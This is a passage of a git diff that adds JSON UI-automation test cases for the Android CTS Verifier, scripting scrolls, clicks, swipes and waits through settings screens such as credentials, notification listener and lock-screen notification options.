credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":626.0,\"x2\":226.66666666666666,\"y2\":645.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.16666666666668561,\"y\":4.8333333333332575,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encryption & credentials\"},{\"uuid\":\"2475d56f-aec3-4425-b991-6ab3054e8503\",\"displayText\":\"Encrypted\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Encrypted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":645.6666666666666,\"x2\":124.0,\"y2\":663.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encrypted\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":611.3333333333334,\"x2\":345.3333333333333,\"y2\":676.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encryption & credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":611.3333333333334,\"x2\":360.0,\"y2\":676.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":146.5,\"y\":631.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":33.5,\"y\":12.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b8d8a8a8-2ff4-4fdc-b4f9-04397134106e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Encryption & credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":64.0,\"y1\":616.0,\"x2\":229.0,\"y2\":646.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Encryption & credentials\",\"actionId\":\"aa5d8ecd-c201-4c94-9b5d-5c82ee7dc457\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Encryption & credentials\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, User credentials\",\"actionId\":\"217e855f-9702-4d83-bcfb-7b9c626a329b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"User credentials\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"9d3dc510-b1b9-47f4-98d0-779104009936\",\"872646b3-7169-484b-b107-ccc06a0145ec\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"004a5c66-7254-40fd-909a-b8614a1a1273\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"5095b69f-89dd-4f11-b89a-98c84e2d977b\",\"aa5d8ecd-c201-4c94-9b5d-5c82ee7dc457\",\"217e855f-9702-4d83-bcfb-7b9c626a329b\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-05-Disallow config credentials","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.130000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f22363c9-d58a-4b5b-8f6a-91b236ec8d11 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f22363c9-d58a-4b5b-8f6a-91b236ec8d11
new file mode 100644
index 0000000..f69d8e8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f22363c9-d58a-4b5b-8f6a-91b236ec8d11
@@ -0,0 +1 @@
+{"uuid":"f22363c9-d58a-4b5b-8f6a-91b236ec8d11","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Notification Listener Test\",\"actionId\":\"f22363c9-d58a-4b5b-8f6a-91b236ec8d11\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Notification Listener Test\",\"actionId\":\"9b4402ce-60ed-4448-9a3f-2fa8ff0bdd23\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Notification Listener Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"873ae20b-21ed-44bf-945b-aca6f6c1115a\",\"displayText\":\"Notification Listener Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Notification Listener Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":484.5,\"x2\":351.25,\"y2\":526.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.5,\"y\":510.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":63.5,\"y\":-5.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"873ae20b-21ed-44bf-945b-aca6f6c1115a\",\"firstText\":\"Notification Listener Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Notification Listener Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":498.0,\"x2\":224.0,\"y2\":523.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Notification Listener Test\",\"actionId\":\"377e39d1-8349-44f8-944d-c189c16cf696\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Notification Listener Test\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 110 secs\",\"actionId\":\"edb17a61-6b02-4f0c-9b88-a8f01b21c570\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":110000,\"createdBy\":\"riacheltseng\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"d1d0d0e3-0325-4ac3-83ab-f2483c8a872f\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, All CTS Verifier notifications\",\"actionId\":\"27e06b61-9f6c-4539-9fc8-dcbd62ccb3c9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"All CTS Verifier notifications\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f7068f54-6d2e-4517-a4d7-37a87e1c026f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 8 secs\",\"actionId\":\"63a70bb0-cce5-480a-9be2-45be19467105\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":8000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, All CTS Verifier notifications\",\"actionId\":\"ff451397-8713-401e-b817-b929416c36b2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"All CTS Verifier notifications\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"cf19e48c-219e-435d-8514-ad56237d5d29\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 8 secs\",\"actionId\":\"c2079094-0afa-4d14-9677-ef3ee2493d9b\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":8000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,Show notifications\",\"actionId\":\"bb478376-b412-43a9-815f-e3329efd84c3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Show notifications\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b2a86040-8e64-49fa-9f14-bce7526a1b6b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 8 secs\",\"actionId\":\"9e5ff320-3a21-4e06-a117-9a2ca90221ea\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":8000,\"createdBy\":\"riacheltseng\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"707087a7-7121-47e1-aaf7-cb099d7b9f42\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, All \\\"ReceiveChannelGroupBlockNoticeTest\\\" notifications\",\"actionId\":\"bccd9eaa-de70-414e-901e-159a40cb25d5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"All \\\"ReceiveChannelGroupBlockNoticeTest\\\" notifications\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"e9b099cb-9904-4ac4-a212-a69a0c78f356\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 40 secs\",\"actionId\":\"3e436301-fda3-4ff5-b3bd-fe97826310e9\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":40000,\"createdBy\":\"riacheltseng\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs\",\"actionId\":\"18a81bd9-ea94-45b1-847b-550999eca4ac\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"9b4402ce-60ed-4448-9a3f-2fa8ff0bdd23\",\"377e39d1-8349-44f8-944d-c189c16cf696\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"8de23e46-4a22-4d4b-bc72-5588dfe25101\",\"edb17a61-6b02-4f0c-9b88-a8f01b21c570\",\"d1d0d0e3-0325-4ac3-83ab-f2483c8a872f\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"27e06b61-9f6c-4539-9fc8-dcbd62ccb3c9\",\"f7068f54-6d2e-4517-a4d7-37a87e1c026f\",\"63a70bb0-cce5-480a-9be2-45be19467105\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"ff451397-8713-401e-b817-b929416c36b2\",\"cf19e48c-219e-435d-8514-ad56237d5d29\",\"c2079094-0afa-4d14-9677-ef3ee2493d9b\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"bb478376-b412-43a9-815f-e3329efd84c3\",\"b2a86040-8e64-49fa-9f14-bce7526a1b6b\",\"9e5ff320-3a21-4e06-a117-9a2ca90221ea\",\"707087a7-7121-47e1-aaf7-cb099d7b9f42\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"bccd9eaa-de70-414e-901e-159a40cb25d5\",\"e9b099cb-9904-4ac4-a212-a69a0c78f356\",\"3e436301-fda3-4ff5-b3bd-fe97826310e9\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"8de23e46-4a22-4d4b-bc72-5588dfe25101\",\"18a81bd9-ea94-45b1-847b-550999eca4ac\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Notification Listener Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.237000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f31620ba-a28e-44ed-a592-02cf02b7e2a0 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f31620ba-a28e-44ed-a592-02cf02b7e2a0
new file mode 100644
index 0000000..1f204a8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f31620ba-a28e-44ed-a592-02cf02b7e2a0
@@ -0,0 +1 @@
+{"uuid":"f31620ba-a28e-44ed-a592-02cf02b7e2a0","details":"{\"type\":\"CompoundAction\",\"name\":\"15-23-Disallow lockscreen unredacted notification\",\"actionId\":\"f31620ba-a28e-44ed-a592-02cf02b7e2a0\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow lockscreen unredacted notification\",\"actionId\":\"21b6aef1-c2dc-4e5c-ba07-2568305f913e\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow lockscreen unredacted notification\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9e2086af-783e-4257-8361-e704f46b0cba\",\"displayText\":\"Disallow lockscreen unredacted notification\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow lockscreen unredacted notification\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":317.3333333333333,\"x2\":360.0,\"y2\":361.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":152.0,\"y\":340.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":28.0,\"y\":-0.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"9e2086af-783e-4257-8361-e704f46b0cba\",\"firstText\":\"Disallow lockscreen unredacted notification\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow lockscreen unredacted notification\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":322.0,\"x2\":299.0,\"y2\":358.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow lockscreen unredacted notification\",\"actionId\":\"f8c6a354-e3b8-4d7e-9af8-04dd7bb46c1e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow lockscreen unredacted notification\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Display\",\"actionId\":\"b536fdd6-7401-41b9-89c0-fe8139b3b8c3\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Display\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1c721d06-49f5-45cd-a601-7f82de9ee2f9\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bca3ee7a-6328-495a-9c07-51f95d7fce9b\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"13b3d2ab-996a-48a3-a1be-616e1609aff0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":426.3333333333333,\"x2\":47.666666666666664,\"y2\":459.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":422.6666666666667,\"x2\":66.0,\"y2\":463.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"fe488c68-4120-4b40-b53d-a3bbd4e4b222\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bc3aadb9-dece-4b38-97b3-03c663498cd1\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Display\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":424.3333333333333,\"x2\":113.33333333333333,\"y2\":444.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.8333333333333428,\"y\":1.6666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Display\"},{\"uuid\":\"c586eb59-299c-45cc-99b1-716aad7d46a7\",\"displayText\":\"Styles, wallpapers, screen timeout, font size\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Styles, wallpapers, screen timeout, font size\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":444.0,\"x2\":318.0,\"y2\":461.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Styles, wallpapers, screen timeout, font size\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":409.6666666666667,\"x2\":345.3333333333333,\"y2\":476.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Display\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":409.6666666666667,\"x2\":360.0,\"y2\":476.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":90.5,\"y\":432.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.5,\"y\":10.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"bc3aadb9-dece-4b38-97b3-03c663498cd1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Display\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":53.0,\"y1\":414.0,\"x2\":128.0,\"y2\":451.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Display\",\"actionId\":\"ae854f18-e336-4528-8a28-5ff09ee9fab4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Display\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Lock screen\",\"actionId\":\"7f7ffcba-8421-4533-98ad-c9b443b3be88\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Lock screen\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f100b6c6-13eb-47f4-a2fc-aa703123b058\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ca609ef5-d367-4b68-808a-8b582b4d9aab\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b7d31630-dea2-474d-87ab-3d8016d7e7b6\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Lock screen\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":557.3333333333334,\"x2\":146.0,\"y2\":577.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.5,\"y\":3.1666666666667425,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Lock screen\"},{\"uuid\":\"2867647c-f2c0-4f54-b816-709539993011\",\"displayText\":\"Show all notification content\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Show all notification content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":577.0,\"x2\":230.0,\"y2\":594.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Show all notification content\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":542.6666666666666,\"x2\":345.3333333333333,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Lock screen\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":542.6666666666666,\"x2\":360.0,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":112.5,\"y\":564.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":67.5,\"y\":12.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"b7d31630-dea2-474d-87ab-3d8016d7e7b6\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Lock screen\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":63.0,\"y1\":554.0,\"x2\":162.0,\"y2\":574.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Lock screen\",\"actionId\":\"9056de71-3a39-4fe8-ab4a-9083c41e482a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Lock screen\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Notifications on lock screen\",\"actionId\":\"c8eb6efb-41bd-4159-98e1-12f5dcb15493\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Notifications on lock screen\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Show all notification 